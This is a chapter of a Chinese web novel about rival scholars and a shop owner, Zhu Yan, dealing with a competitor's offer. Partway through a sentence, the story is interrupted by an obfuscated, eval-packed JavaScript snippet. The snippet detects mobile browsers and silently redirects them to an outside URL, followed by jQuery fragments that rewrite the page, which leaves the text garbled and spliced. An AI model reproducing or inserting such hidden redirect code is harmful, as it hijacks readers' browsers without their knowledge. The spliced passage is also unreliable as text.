96. 第九十六章

作品:《农家娘子改造日记

    “是,小的知道这邵学子一向不入公子的眼,所以也打听了一番,才知三日后邵学子在东大街福云楼包了一桌上等席、两桌中等席,做什么大掌柜不知道,小的就给了管事的几个钱,他说旁的不清楚,不过邵学子定好席面后,特意嘱咐了要以清淡菜系为主,茶要碧螺春,最好四周挂几幅上好的字画。”


    “肯定是等着发大财的庆功宴!真舍得下本,居然去福云楼吃饭,那的上等席面没算酒,都要二两银子一桌!”徐晖一想到原本该是他家的一千多两银子,现在进了邵家人的口袋,想想就觉得肉疼,赶忙起身,“我去找他算账!”


    “等等,”安为谦拦住他,“这事不对,要是他家的庆功宴,怎么会要什么碧螺春和字画?”


    徐晖一下冷静了几分,脑子里有点发昏:“为什么?”


    一想到那个可能性,安为谦也有点坐不住了,站起来踱步几圈,才又跟候着话的管事吩咐:“你去一趟尹家附近,看能不能找个仆妇门房打听,尹老先生这两日在做什么,有无出门。”


    徐晖更加发懵:“打听这个做什么?”


    安为谦却只是使了个眼色,管事赶紧去了。


    徐晖看他没了方才的闲适,反倒是一脸凝重,也不敢多问,只一味吃茶,丫鬟看他没茶,就殷勤地给续了好几回。


    吃多了茶,徐晖就跑了好几回茅厕,等到第四回去了返程的时候,就听到书房里传来安为谦的惊愕声。


    “什么?尹老先生要在天圣节那日收邵堂做关门弟子?”


    平日里总是一副笑容模样的安为谦此刻看起来格外失态,眨了眨眼睛,徐晖确定自己没看错,才进了门:“怎么回事?尹老先生不是不会收他吗,他不是老糊涂了吧?”


    管事一下晌东奔西跑的,额头的汗都来不及擦,衣裳贴在身上格外不适,不过也不敢去擦,只好回话:“千真万确。公子提及尹家,我想起咱们家跑腿的照儿和尹家后厨房的一个厨娘是一个村的,就让他去拉了关系说闲话好打听。没想到那厨娘说,头几日尹家的管事给了她一张单子,上头记了邵学子体质不宜吃的食物。照儿就顺着话问,这才问出了这件事。”


    徐晖目瞪口呆,“问他忌讳的食物做什么?”


    安为谦却很明白其中的意思,他锁着眉头让管事下去,才解释:“尹老学生游学授业,因而学子众多,可能受他青眼正式收为学生的却不过十几人,除了还未举业的奉存新,其余的都在尹家寄住过一段时间,既是为了全心读书,也是为了随时能向先生求知解惑,另一方面,也是证明了与旁人的不同之处,更是向外人告示,邵堂以后是尹家正式学生,质疑邵堂便是质疑尹家,质疑尹老先生。”


    此前的学生多举业入仕,可却都因这样那样的缘故被打压外放,唯独尹家长子以及另两名学生还在汴京,不过除了尹尚书,另两名也只是五品之下,聊胜于无罢了。


    徐晖哪里还有心思坐下说话,顿时酸地发颤:“他,邵堂?他凭什么!长庭兄你这样的文采人品都不能入眼,他凭什么能得尹老先生的看重!”


    安为谦脸上泛起一个难得的苦笑:“也就是你看重我了。”


    徐晖思来想去还是觉得不忿:“不行,我忍不下这口气!”就即刻拔步冲了出去。


    安为谦就赶紧拦他,却没来得及。


    管事有些担心:“公子,徐学子不会惹出什么祸来吧?”


    别说徐晖了,就是徐家平日里仗着范县丞也干了不少缺德事。俗话说,断人财路如杀人父母,这当口那邵学子彻底吃罪了徐晖,只怕要闹大。


    安为谦却不急不忙地收了神情,坐下品茗:“随他去,我倒也想看看这邵堂还有什么本事。”


    安为谦心里其实已经明白,尹家肯由着邵堂安排这一出,已经是变相告诉所有人,邵堂被尹家承认了,此前关于邵堂的那些不过是一场不起眼的风波而已。


    只要尹家承认,也没有人会傻到去翻老黄历上赶着得罪,甚至从今以后还得对邵堂课客气气的。


    正好因为钱的事徐晖急的跳脚,他要去就让他去好了,自己乐得坐山观虎斗。


    ·


    麦梢坊这头,朱颜等人也在吃茶。


    茶是文管事给的,虽然是去年的旧茶,可比起市井人吃的淡味粗茶,已经是格外清香味正,一群人里头颇有些许见识的王仁也不住点点头。


    “从前东家大爷从汴京捎来的茶,和这个也差不离了。”


    他指的是乔太太的娘家兄长。


    “一个道观里的管事都能喝得起汴京来的茶,”冬云诧异,“人说读书十年不如念经三日,真是这个道理。”


    朱颜就打趣:“等咱们的生意变好,给文管事捧着钱送过去,只怕还会有今年的新茶给咱们喝呢。”


    这倒是,那可是两成的利,一分本钱都不用出,白得两成,想想都觉得肉疼,但要是换做自己,只怕半夜都能笑醒。


    看所有人都是这种表情,朱颜就道:“舍不得孩子套不着狼,咱们初来乍到,若是不能重利许之,文管事怎么会一锤定音?再说,清墟观的单子做好了,以后咱们就算在邝州彻底打响名头,只怕到时候你们忙得都没空在这里闲话了。”


    大家就又哈哈笑起来。


    散了后,朱颜神色变得凝重,拉了邵远说话:“我们得了先机,只怕另外那几家不服,这两日定然要闹出些事,你和张松换着班地在巷子内外和咱们铺子内外巡察,要是有可疑的也能及时发现。”


    邵远对朱颜一向信服,什么也没问就点点头去和张松商量去了。


    然而才刚说完,外头就有人笑呵呵走了进来:“真是贺喜贺喜,开张大吉,还不知掌柜是哪位,东家又是哪位,我来恭贺来了,不算晚吧?”


    这话说的有点突兀,但伸手不打笑脸人,朱颜还是望过去,就见一个穿着赤色细锦深袍的中年人从外头进来,身后还跟着个跑闲使唤的小厮,规规


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865697|185013||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    矩矩的不四处看。


    “请问您是?”守在柜台的王仁客气地问。


    中年人见他有礼,也略颔首回礼:“我是龙津桥头上的顾家铺子的大掌柜,也是管事,姓陈,有礼了。”


    王仁嘀咕,这都是同行,自家还争了抢破头的单子,他还怎么笑呵呵的上门恭贺,只怕有些门道。


    心里胡乱想着,面上并未多说什么,先请陈掌柜坐下,替他倒茶说话。


    邵远在中间的门栏边看到这一幕,回头看朱颜并不着急进去,就嘀咕起来:“忽然上门来,说不好是有些歪心眼子。”


    朱颜知道他指的是檀州顾家铺子买通通渠工人家眷去衙门闹事,将朱颜也牵连进去的事,蛇鼠一窝,檀州的顾家如此霸道奸猾,只怕邝州的也好不到哪儿去。


    朱颜拉了他,低声道:“恐怕和于掌柜的来意同出一辙,只是没想到这些人来的这样快。”


    “那怎么办?”邵远犹豫地说,“要不我出去打发了他。”


    朱颜摇摇头:“你去不合适,就让王仁去,他从前在乔太太嫁妆庄子上管好几个庄子的庶务账目,最是懂人情周旋,他去最合适。”


    和王仁相处这么久了,邵远也心知他的长处,便没再多说,静等着听外头说话送客。


    “朱娘子。”王仁知道他们在门后,就不多赘叙,“你也听到了,他和那于掌柜是一个意思,许诺分咱们花灯节西市四条街的单子,虽然不晓得邝州这一笔能有多少,不过按檀州此前的来照例,又听李掌柜的暗示,我估摸算了下,至少也有二三百两银子的利入账。”


    “还真是大手笔。”朱颜笑呵呵的说,并不见忧色。


    朱颜的表现证明她心里有数,王仁就放下了心,只要她心里有数就成。


    邵远就问:“于掌柜和咱们有言在先,肯定不能反悔。”


    “这是自然。”朱颜点头,“于掌柜是诚恳待人,所以我才答应的这么利索。这位陈掌柜却不怎么实诚,不管于情还是于理,咱们都不能答应。”


    见两人都疑惑地望着自己,朱颜解释:“花灯节一向是由官府起头,而徐家和州县衙门的关系更亲近,顾家每年都只能分得西市和南市的订单。而位置好的东市和北市一直由徐家包了,他顾家自己在这上头都挣不到几百两银子,难道还会平白给咱们分一块肉?再说了,邝州的花灯节不过就是元宵、端午、乞巧、中秋这几个大日子,现在距离元宵还有两个月,现在他分了咱们的一杯羹,之后元宵灯会前他若是反悔否认,或是拿话搪塞,咱们去说理,一无凭证文书,二无人言证物,他再拿汴京里的关系压派人,我们难道还能借用尹家去和他回嘴打官司?”


    此回能扯尹家的虎皮,都是因为邵堂要正式拜师,要帮着尹家在清墟观点睛扬名,事关尹家前程名誉,才会对她的小动作小聪明睁只眼闭只眼,也算是顺水推舟,让她吃一些小利。


    可要是一而再再而三的利用,自然是不行的。